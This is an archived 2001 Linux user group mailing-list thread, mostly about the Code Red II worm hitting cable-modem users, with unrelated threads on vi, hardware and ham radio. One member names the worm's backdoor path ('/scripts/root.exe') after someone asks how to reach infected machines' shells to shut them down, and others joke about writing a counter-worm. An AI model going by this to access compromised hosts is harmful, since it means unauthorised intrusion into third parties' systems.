wisecracks and less from wise guys." --William Arthur Ward From sos at zjod.net Mon Aug 6 11:13:43 2001 From: sos at zjod.net (Steve Siegfried) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: from "Yaron" at Aug 06, 2001 10:40:24 AM Message-ID: <200108061613.LAA16214@zjod.net> Yaron wrote: > > Hey, > > So, I'm up to over 300 hits for the damn thing, so I figured it'd be fun > to check out the web servers that are hitting me with it. > > A lot of them are just stupid script kiddies or less, which is hardly > surprising. For instance, I've been invited to join in the wonderful world > of Stephen's Hip-Hop, and asked to do impossible and illegal things to the > USA Government. > > But then I got one from www.newltel.com. They're a freaking telco/ISP!!! > Yeah, I'm going to use YOUR local phone services... > > > -Yaron > Yeah, for the latest variant (with X's instead of N's in the http ref), I'm at over 300 hits too.... Between the broadcast pinging and the portscans, my cable modem's receive light was lit almost constantly yesterday from about 5pm on. Of the CodeRedII hits that nslookup doesn't fail on, nslookup showed they came from: 48% .home.com 18% .rr.com 7% .mediaone.net 4% .shawcable.net 4% .dyn.optonline.net It almost looks like the damn thing was tailored to go after cable customers. -S From dieman at ringworld.org Mon Aug 6 11:16:47 2001 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] win2k with bind Message-ID: <20010806111647.R6692@ringworld.org> To answer a question from last weekend. On your Active Directory DC theres a file that is called 'netlogin.dns' in /winnt/system32/config/ or something like that with the DNS entries you need to make. -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From natecars at real-time.com Mon Aug 6 11:18:39 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: <200108061613.LAA16214@zjod.net> Message-ID: On Mon, 6 Aug 2001, Steve Siegfried wrote: > Yeah, for the latest variant (with X's instead of N's in the http ref), I'm > at over 300 hits too.... > > Between the broadcast pinging and the portscans, my cable modem's receive light > was lit almost constantly yesterday from about 5pm on. > > Of the CodeRedII hits that nslookup doesn't fail on, nslookup showed they came > from: > 48% .home.com > 18% .rr.com > 7% .mediaone.net > 4% .shawcable.net > 4% .dyn.optonline.net > > It almost looks like the damn thing was tailored to go after cable customers. Let me guess, you're on a cable modem? This thing is 'smart' -- it scans it's own /24 first, then it's /16, then it's /8.. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From jethro at freakzilla.com Mon Aug 6 11:19:41 2001 From: jethro at freakzilla.com (Yaron) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: <200108061613.LAA16214@zjod.net> Message-ID: Hi, On Mon, 6 Aug 2001, Steve Siegfried wrote: > 48% .home.com > It almost looks like the damn thing was tailored to go after cable customers. Actually it's taylored to almost always go within the same Class A it's running on - so if it's in .home.com's 24.* it'll stay there. I think it's 1 out of 10 times that it does a completely random IP address. I've got 238 hits, 42 of which are from outside my class a. -Yaron -- From shane at shell.schulte.org Mon Aug 6 11:30:28 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: Message-ID: Ok, I am running Drake 8.0 and I have a cable modem. Yesterday my modem lights were going crazy as well as my router lights. I have a firewall setup and the router seems to block anything incomming. Do I have anything to worry about since I'm only running Linux. Code Red II is only still a M$ IIS problem right? Please Help. ~Shane On Mon, 6 Aug 2001, Yaron wrote: > Hi, > > On Mon, 6 Aug 2001, Steve Siegfried wrote: > > > 48% .home.com > > It almost looks like the damn thing was tailored to go after cable customers. > > Actually it's taylored to almost always go within the same Class A it's > running on - so if it's in .home.com's 24.* it'll stay there. I think it's > 1 out of 10 times that it does a completely random IP address. > > I've got 238 hits, 42 of which are from outside my class a. > > > -Yaron > > -- > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From spencer at mudpiefoods.com Mon Aug 6 11:25:09 2001 From: spencer at mudpiefoods.com (SpencerUnderground) Date: Mon Jan 17 13:25:32 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: ; from zibby+tclug@ringworld.org on Mon, Aug 06, 2001 at 10:40:59AM -0500 References: <20010806093816.A7748@mudpiefoods.com> Message-ID: <20010806112509.A7838@mudpiefoods.com> > > > Oh my God...prepare-> > > > > can i keep my signature? > > I don't care about your signature What about kicking my ass, do you still care about that? nevermind. What does it have to do with Linux anyhow. I was using vi and didn't know the command to select and cut. so there. > that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From cfandre at fandre.com Mon Aug 6 11:40:03 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] RH 7.1 and xpm? In-Reply-To: <20010806034228.N29128@real-time.com> Message-ID: <20010806114003.F23423@fandre.com> Isn't it in the XFree86 stuff now? Bob Tanner [tanner@real-time.com] wrote: > Is xpm no longer in Redhat? > > I quick look at 7.1 packages and I don't see xpm in any of the packages. > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From zibby+tclug at ringworld.org Mon Aug 6 11:39:16 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: Message-ID: MSIIS only type thing. Anyone know what this thing does when it doesn't get a 404? I'm kinda tempted to create a default.ida file and find out if it will freak upon hitting an apache server with a default.ida or what. Anyway... Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From natecars at real-time.com Mon Aug 6 11:41:57 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: Message-ID: On Mon, 6 Aug 2001, Andy Zbikowski (Zibby) wrote: > MSIIS only type thing. Anyone know what this thing does when it doesn't > get a 404? I'm kinda tempted to create a default.ida file and find out if > it will freak upon hitting an apache server with a default.ida or what. > Anyway... If you wanna have some fun, run NetCat on port 80, and dump out what you get to a file.. you'll get a copy of the Code Red worm. -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From lxy at cloudnet.com Mon Aug 6 11:41:54 2001 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 13:25:32 2005 Subject: [TCLUG] Code Red II In-Reply-To: Message-ID: On Mon, 6 Aug 2001, Shane Kinney wrote: > Ok, I am running Drake 8.0 and I have a cable modem. Yesterday my modem > lights were going crazy as well as my router lights. I have a firewall > setup and the router seems to block anything incomming. Do I have anything > to worry about since I'm only running Linux. Code Red II is only still a > M$ IIS problem right? You're OK. As long as you don't have IIS running on an NT machine accessible to the world all is fine and dandy. Since this worm is using exploits only found in IIS any subsequent variants (oh, you bet there will be more) it will never affect Apache. -Brian From esper at sherohman.org Mon Aug 6 11:44:45 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:32 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806112509.A7838@mudpiefoods.com>; from spencer@mudpiefoods.com on Mon, Aug 06, 2001 at 11:25:09AM -0500 References: <20010806093816.A7748@mudpiefoods.com> <20010806112509.A7838@mudpiefoods.com> Message-ID: <20010806114445.A20984@sherohman.org> On Mon, Aug 06, 2001 at 11:25:09AM -0500, SpencerUnderground wrote: > nevermind. What does it have to do with Linux anyhow. > I was using vi and didn't know the command to select and cut. > so there. d} Deletes all text from the current line until the next blank line. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From blutgens at sistina.com Mon Aug 6 11:45:50 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:33 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806112509.A7838@mudpiefoods.com>; from spencer@mudpiefoods.com on Mon, Aug 06, 2001 at 11:25:09AM -0500 References: <20010806093816.A7748@mudpiefoods.com> <20010806112509.A7838@mudpiefoods.com> Message-ID: <20010806114550.A2907@minime.sistina.com> On Mon, Aug 06, 2001 at 11:25:09AM -0500, SpencerUnderground wrote: > >What about kicking my ass, do you still care about that? >nevermind. What does it have to do with Linux anyhow. >I was using vi and didn't know the command to select and cut. >so there. dd will delete on line dNd where N is a number will delete N lines. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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What does it have to do with Linux anyhow. > I was using vi and didn't know the command to select and cut. > so there. > > > that is my opinion > > -- > SpencerUnderground > ||mailto:spencer@sihope.com|| > "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as > surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau -- Thanks, Spencer J Sinn From nate at techie.com Mon Aug 6 11:46:49 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:33 2005 Subject: Trim Your Posts (Was Re: [TCLUG] Power and Motherboards) In-Reply-To: <20010806112509.A7838@mudpiefoods.com>; from spencer@mudpiefoods.com on Mon, Aug 06, 2001 at 11:25:09AM -0500 References: <20010806093816.A7748@mudpiefoods.com> <20010806112509.A7838@mudpiefoods.com> Message-ID: <20010806114649.A22079@candle.mn.mediaone.net> On Mon, Aug 06, 2001 at 11:25:09AM -0500, SpencerUnderground wrote: > > > > Oh my God...prepare-> > > > > > > can i keep my signature? > > > > I don't care about your signature > > What about kicking my ass, do you still care about that? > nevermind. What does it have to do with Linux anyhow. > I was using vi and didn't know the command to select and cut. > so there. For the lowest common denominator of vi: m sets a mark labelled with d' deletes from the cursor location to the mark with label y' yanks text from the cursor location to the mark with label vi: learning a new command a day keeps emacs at bay. :) Nate From blutgens at sistina.com Mon Aug 6 11:49:29 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:33 2005 Subject: [TCLUG] Code Red II In-Reply-To: ; from shane@shell.schulte.org on Mon, Aug 06, 2001 at 11:30:28AM -0500 References: Message-ID: <20010806114929.B2907@minime.sistina.com> On Mon, Aug 06, 2001 at 11:30:28AM -0500, Shane Kinney wrote: >Ok, I am running Drake 8.0 and I have a cable modem. Yesterday my modem >lights were going crazy as well as my router lights. I have a firewall >setup and the router seems to block anything incomming. "seems to be"? You mean you don't know if it's blocking all incomming packets or not? >Do I have anything >to worry about since I'm only running Linux. Only the fact that some jackass loosed this shit on the world adding even more load to the already very busy internet and is taking making of your favorite sites offline because the admins haven't gotten the patches applied. >Code Red II is only still a M$ IIS problem right? See earlier comment. But to properly answer this question your linux machines are impervious to this particular worm. >Please Help. You may want to read the ipchains howto. Sounds like you have no idea what your firewall is up to, which is just as bad as not having one at all. -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 232 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010806/1b3c9dd9/attachment.pgp From blutgens at sistina.com Mon Aug 6 11:52:21 2001 From: blutgens at sistina.com (Ben Lutgens) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: ; from natecars@real-time.com on Mon, Aug 06, 2001 at 11:41:57AM -0500 References: Message-ID: <20010806115221.D2907@minime.sistina.com> On Mon, Aug 06, 2001 at 11:41:57AM -0500, Nate Carlson wrote: >On Mon, 6 Aug 2001, Andy Zbikowski (Zibby) wrote: >> MSIIS only type thing. Anyone know what this thing does when it doesn't >> get a 404? I'm kinda tempted to create a default.ida file and find out if >> it will freak upon hitting an apache server with a default.ida or what. >> Anyway... > >If you wanna have some fun, run NetCat on port 80, and dump out what you >get to a file.. you'll get a copy of the Code Red worm. nc -l -p 80 > leet_haxor_shit should do it. Netcat kicks ass. > >-- >Nate Carlson | Phone : (952)943-8700 >http://www.real-time.com | Fax : (952)943-8500 > > >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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What does it have to do with Linux anyhow. >> I was using vi and didn't know the command to select and cut. >> so there. >> > >> that is my opinion >> >> -- >> SpencerUnderground >> ||mailto:spencer@sihope.com|| >> "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as >> surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau > >-- >Thanks, > >Spencer J Sinn >_______________________________________________ >tclug-list mailing list >tclug-list@mn-linux.org >https://mailman.mn-linux.org/mailman/listinfo/tclug-list -- Ben Lutgens Sistina Software Inc. What's the difference between root and God ? God doesn't think that he is root. -------------- next part -------------- A non-text attachment was scrubbed... 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Real answers from real people. thanks that is my opinion -- SpencerUnderground ||mailto:spencer@sihope.com|| "I have no doubt that it is part of the destiny of the human race in its gradual development to leave off the eating of animals, as surely as the savage tribes have left off eating each other when they came in contact with the more civilized." Henry David Thoreau From esper at sherohman.org Mon Aug 6 11:52:09 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <200108061613.LAA16214@zjod.net>; from sos@zjod.net on Mon, Aug 06, 2001 at 11:13:43AM -0500 References: <200108061613.LAA16214@zjod.net> Message-ID: <20010806115209.A21014@sherohman.org> On Mon, Aug 06, 2001 at 11:13:43AM -0500, Steve Siegfried wrote: > It almost looks like the damn thing was tailored to go after cable customers. According to the information on incidents.org regarding CRII, 12.5% of threads will scan completely random addresses, 50% will scan random addresses within the local class A block, and the remaining 37.5% of threads go after the local class B. So, yes, once it hits your provider's network, that network will be the focus of its ongoing efforts. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From shane at shell.schulte.org Mon Aug 6 12:06:05 2001 From: shane at shell.schulte.org (Shane Kinney) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806115221.D2907@minime.sistina.com> Message-ID: Thanks for all of the help. I was starting to get worried when my cable modem & router lights were going crazy last night and the fact that I heard that there is a new strain out that effects shells or something. I'll look into ipchains. See whats up in there. Thanks again everyone! ~Shane On Mon, 6 Aug 2001, Ben Lutgens wrote: > On Mon, Aug 06, 2001 at 11:41:57AM -0500, Nate Carlson wrote: > >On Mon, 6 Aug 2001, Andy Zbikowski (Zibby) wrote: > >> MSIIS only type thing. Anyone know what this thing does when it doesn't > >> get a 404? I'm kinda tempted to create a default.ida file and find out if > >> it will freak upon hitting an apache server with a default.ida or what. > >> Anyway... > > > >If you wanna have some fun, run NetCat on port 80, and dump out what you > >get to a file.. you'll get a copy of the Code Red worm. > > > nc -l -p 80 > leet_haxor_shit > > should do it. Netcat kicks ass. > > > > >-- > >Nate Carlson | Phone : (952)943-8700 > >http://www.real-time.com | Fax : (952)943-8500 > > > > > >_______________________________________________ > >tclug-list mailing list > >tclug-list@mn-linux.org > >https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > -- > Ben Lutgens > Sistina Software Inc. > > What's the difference between root and God ? > God doesn't think that he is root. > From esper at sherohman.org Mon Aug 6 12:12:39 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: ; from shane@shell.schulte.org on Mon, Aug 06, 2001 at 12:06:05PM -0500 References: <20010806115221.D2907@minime.sistina.com> Message-ID: <20010806121239.A21248@sherohman.org> On Mon, Aug 06, 2001 at 12:06:05PM -0500, Shane Kinney wrote: > Thanks for all of the help. I was starting to get worried when my cable > modem & router lights were going crazy last night and the fact that I > heard that there is a new strain out that effects shells or something. Not "effects shells", really. It makes a shell available (without any authentication, of course) available remotely on infected machines. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From gmcdavid at winternet.com Mon Aug 6 12:15:22 2001 From: gmcdavid at winternet.com (gmcdavid@winternet.com) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II Message-ID: <200108061715.f76HFM326131@icefloe.winternet.com> Brian wrote: > You're OK. As long as you don't have IIS running on an NT machine > accessible to the world all is fine and dandy. Since this worm is using > exploits only found in IIS any subsequent variants (oh, you bet there will > be more) it will never affect Apache. This is what I have always been told. But I am puzzled about something: Steve Siegfried wrote: > Of the CodeRedII hits that nslookup doesn't fail on, nslookup showed they came > from: > 48% .home.com > 18% .rr.com > 7% .mediaone.net > 4% .shawcable.net > 4% .dyn.optonline.net Does this mean all of these cable users are running NT (or 2000) with IIS? I would expect them to be mostly MS Windows of some sort, but more of the 9x/ME variant and hence not directly part of this. And why would they be running IIS? Glenn McDavid mailto:gmcdavid@winternet.com http://www.winternet.com/~gmcdavid From cfandre at fandre.com Mon Aug 6 12:21:16 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806121239.A21248@sherohman.org> Message-ID: <20010806122115.J23423@fandre.com> Dave Sherohman [esper@sherohman.org] wrote: > On Mon, Aug 06, 2001 at 12:06:05PM -0500, Shane Kinney wrote: > > Thanks for all of the help. I was starting to get worried when my cable > > modem & router lights were going crazy last night and the fact that I > > heard that there is a new strain out that effects shells or something. > > Not "effects shells", really. It makes a shell available (without any > authentication, of course) available remotely on infected machines. > Any idea how to access it? Does NT have a shutdown command? :-) From natecars at real-time.com Mon Aug 6 12:31:24 2001 From: natecars at real-time.com (Nate Carlson) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806122115.J23423@fandre.com> Message-ID: On Mon, 6 Aug 2001, Clay Fandre wrote: > > > Thanks for all of the help. I was starting to get worried when my cable > > > modem & router lights were going crazy last night and the fact that I > > > heard that there is a new strain out that effects shells or something. > > > > Not "effects shells", really. It makes a shell available (without any > > authentication, of course) available remotely on infected machines. > > > > Any idea how to access it? Does NT have a shutdown command? :-) get /scripts/root.exe -- Nate Carlson | Phone : (952)943-8700 http://www.real-time.com | Fax : (952)943-8500 From esper at sherohman.org Mon Aug 6 12:32:07 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806122115.J23423@fandre.com>; from cfandre@fandre.com on Mon, Aug 06, 2001 at 12:21:16PM -0500 References: <20010806121239.A21248@sherohman.org> <20010806122115.J23423@fandre.com> Message-ID: <20010806123207.A21382@sherohman.org> On Mon, Aug 06, 2001 at 12:21:16PM -0500, Clay Fandre wrote: > Any idea how to access it? Sample shell-accessing URLs are mentioned in the incidents.org article, yes. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From jspinti at dart.dartdist.com Mon Aug 6 12:32:48 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <200108061715.f76HFM326131@icefloe.winternet.com> Message-ID: IIS is sometimes installed by other programs that would like to have a webserver running for their own purposes. Frequently the admin/owner does not even know that it was installed. Also, in typical MS fashion, at first they gave it away with NT to gain market share, so it would be on older machines by default, and of course whatever is loaded is turned on by default... My RoadRunner cable modem was going nuts all weekend, from late Saturday on... Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 | |Does this mean all of these cable users are running NT (or 2000) |with IIS? I would |expect them to be mostly MS Windows of some sort, but more of the |9x/ME variant and |hence not directly part of this. And why would they be running IIS? | |Glenn McDavid |mailto:gmcdavid@winternet.com |http://www.winternet.com/~gmcdavid | | |_______________________________________________ |tclug-list mailing list |tclug-list@mn-linux.org |https://mailman.mn-linux.org/mailman/listinfo/tclug-list | From esper at sherohman.org Mon Aug 6 12:35:41 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:34 2005 Subject: [TCLUG] Code Red II In-Reply-To: <200108061715.f76HFM326131@icefloe.winternet.com>; from gmcdavid@winternet.com on Mon, Aug 06, 2001 at 12:15:22PM -0500 References: <200108061715.f76HFM326131@icefloe.winternet.com> Message-ID: <20010806123541.B21382@sherohman.org> On Mon, Aug 06, 2001 at 12:15:22PM -0500, gmcdavid@winternet.com wrote: > Does this mean all of these cable users are running NT (or 2000) with IIS? Yes, assuming the addresses aren't spoofed. (And spoofing doesn't seem likely, since a connection has to be established to send the worm over.) > And why would they be running IIS? Bundling. Everything in Windows is "web-enabled" now and, according to what I've heard on lists, the installer assumes that if you want any web-enabled software, you'll also want your own web server. Most of them probably don't even know they're running it. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From austad at marketwatch.com Mon Aug 6 12:41:53 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? Message-ID: <54180709DD3FE145917BB165AFE7EFA00A8428@mspexch2.office.mktw.net> I take it this has something to do with wireless?? If you have your ham license, the max power you can use to transmit at 2.4ghz goes from 1 watt, to 100 watts. The limits are lower on a high gain antenna, but you still get more power. And you are immune to some city zoning laws on how high your antenna can be. :) If someone knows when the next hamfest is in the twin cities, please tell me. I keep planning on taking the test for the license, but most of the time it's really early on a Saturday morning and I'm too lazy to roll out of bed for it. Apparently, you can take the tests at the hamfest. Jay > -----Original Message----- > From: Bob Tanner [mailto:tanner@real-time.com] > Sent: Monday, August 06, 2001 1:59 AM > To: tclug-list@mn-linux.org > Subject: [TCLUG] OT (kind of): HAM radio operators? > > > Are there any HAM radio operators on this list? > > Would you be willing to sit down and talk with me over > lunch/dinner or a beer (my treat of course)? > > Contact me off-list via email or phone. > > I'll tie this into Linux eventually, just need to trust me. :-) > > -- > Bob Tanner | Phone : (952)943-8700 > http://www.mn-linux.org | Fax : (952)943-8500 > Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From dieman at ringworld.org Mon Aug 6 12:43:45 2001 From: dieman at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT: Lights Out? Message-ID: <20010806124344.S6692@ringworld.org> NSP/excel is asking their desk-workers to turn off their lights at their cubes. I dont work there tho :) /me waits for the blackout. :) -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From cfandre at fandre.com Mon Aug 6 12:47:29 2001 From: cfandre at fandre.com (Clay Fandre) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Code Red II In-Reply-To: Message-ID: <20010806124727.K23423@fandre.com> Nate Carlson [natecars@real-time.com] wrote: > On Mon, 6 Aug 2001, Clay Fandre wrote: > > > > Thanks for all of the help. I was starting to get worried when my cable > > > > modem & router lights were going crazy last night and the fact that I > > > > heard that there is a new strain out that effects shells or something. > > > > > > Not "effects shells", really. It makes a shell available (without any > > > authentication, of course) available remotely on infected machines. > > > > > > > Any idea how to access it? Does NT have a shutdown command? :-) > > get /scripts/root.exe That only answers half of my questions. Anyone have time to modify the worm to go and shutdown all these damn unpatched boxes? Or better yes, have it download and boot a linux fs. From dutchman at uswest.net Mon Aug 6 12:50:35 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Power and Motherboards References: <3B6E0D9B.8010004@uswest.net> <20010805224851.A3017@monsoon.msi.umn.edu> Message-ID: <3B6ED8EB.9030802@uswest.net> Gabe Turner wrote: > > Well, this could be any number of things, but I see this most often when a > motherboard is grounding on the case. This happens when a peice of metal > on your case is touching a part of your motherboard that it shouldn't be. > > What I usually try is taking the motherboard out of the case, set it on > something non-conductive (a piece of cardboard works well), hook everything > up to it and power it on. If things start running (CPU fan starts > spinning, any LEDs on the motherboard light up) and I get any beeps[1], > then I know that may mobo was probably grounding on my case somewhere. > There is nothing at all, even with the motherboard out of the case. By this I mean, no power to anything, even the power supply fan does not come on. > [1] Make sure you hook your cases speaker up to your mobo. Almost every > mobo will spit out a series of diagnostic beeps if it encounters a problem. > These beeps are usually documented in the manual that came with the board. > > What you're seeing could be any number of things, however. Other > possibilities I can think of: > > * Improperly installed memory - maybe it's not in the slot all the way; > maybe it needs to be interleaved; maybe you installed your DIMM in slot 3 > instead of slot 0... All three DIMM slots are full. > > * [Mis|Un]set jumpers. If your mother board requires jumpers for things > like CPU speed, CPU voltage, CPU multiplier, etc, it won't start up if > they're not set properly. > There is really only 1 jumper, the CMOS jumper and it is set to the normal position (as opposed to the delete CMOS position). All the rest are set in the BIOS through Abit's SoftMenu system. Thank you for the response. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From jspinti at dart.dartdist.com Mon Aug 6 12:59:08 2001 From: jspinti at dart.dartdist.com (James Spinti) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806124727.K23423@fandre.com> Message-ID: Check the /. discussions over the weekend. There were plenty of scripts, ideas, etc. I think it is over 500 posts now, so good luck. :) Thanks, James Spinti jspinti at dartdist.com 952-368-3278 x396 fax 952-368-3255 |-----Original Message----- |From: tclug-list-admin@mn-linux.org |[mailto:tclug-list-admin@mn-linux.org]On Behalf Of Clay Fandre |Sent: Monday, August 06, 2001 12:47 PM |To: tclug-list@mn-linux.org |Subject: Re: [TCLUG] Code Red II | | |That only answers half of my questions. Anyone have time to modify |the worm to go and shutdown all these damn unpatched boxes? Or |better yes, have it download and boot a linux fs. | From esper at sherohman.org Mon Aug 6 12:53:22 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT: Lights Out? In-Reply-To: <20010806124344.S6692@ringworld.org>; from dieman@ringworld.org on Mon, Aug 06, 2001 at 12:43:45PM -0500 References: <20010806124344.S6692@ringworld.org> Message-ID: <20010806125322.A21527@sherohman.org> On Mon, Aug 06, 2001 at 12:43:45PM -0500, Scott Dier wrote: > NSP/excel is asking their desk-workers to turn off their lights at their > cubes. > > I dont work there tho :) Yeah, up here in the northlands, I just heard the Stearns County power company begging people to turn off lights, etc. between 5 and 9 tonight, which is when they anticipate peak demand. > /me waits for the blackout. :) /me is glad that everything meanigful at home is UPSed. -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From dieman+tclug at ringworld.org Mon Aug 6 12:55:28 2001 From: dieman+tclug at ringworld.org (Scott Dier) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] OT (kind of): HAM radio operators? In-Reply-To: <54180709DD3FE145917BB165AFE7EFA00A8428@mspexch2.office.mktw.net> Message-ID: <20010806125527.U6692@ringworld.org> * Austad, Jay [010806 12:44]: > If you have your ham license, the max power you can use to transmit at > 2.4ghz goes from 1 watt, to 100 watts. The limits are lower on a high gain > antenna, but you still get more power. And you are immune to some city > zoning laws on how high your antenna can be. :) On that range at that power can you do 'commercial' activities or use 'encryption'? -- Scott Dier http://www.ringworld.org/ #linuxos@irc.openprojects.net From dutchman at uswest.net Mon Aug 6 12:55:59 2001 From: dutchman at uswest.net (Perry Hoekstra) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Power and Motherboards References: <3B6E0D9B.8010004@uswest.net> <20010805224851.A3017@monsoon.msi.umn.edu> <01080600095500.08176@localhost.localdomain> Message-ID: <3B6EDA2F.3090800@uswest.net> K Hinze wrote: > Or the power switch lead improperly attached... > CBOS jumper jumpered for clear.. No CBOS jumper. I will try to hook up the motherboard to a different ATX box to check the power supply/switch if I can scrounge one up. -- Perry Hoekstra E-Commerce Architect Talent Software Services perry.hoekstra@talentemail.com From list at slushpupie.com Mon Aug 6 12:55:58 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806124727.K23423@fandre.com> Message-ID: > >Anyone have time to modify the worm to go and shutdown all these damn unpatched boxes? Or better yes, have it >download and boot a linux fs. > Now thats my idea of a worm! :-) From ssinn at qwest.net Mon Aug 6 12:50:56 2001 From: ssinn at qwest.net (Spencer J Sinn) Date: Mon Jan 17 13:25:35 2005 Subject: [TCLUG] Code Red II In-Reply-To: <20010806124727.K23423@fandre.com>; from cfandre@fandre.com on Mon, Aug 06, 2001 at 12:47:29PM -0500 References: <20010806124727.K23423@fandre.com> Message-ID: <20010806125056.A11413@thor> Why not rewrite it to patch the boxen? (apart from the legality...) On Mon, Aug 06, 2001 at 12:47:29PM -0500, Clay Fandre wrote: > > That only answers half of my questions. Anyone have time to modify the worm to go and shutdown all these damn unpatched boxes? Or better yes, have it download and boot a linux fs. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > 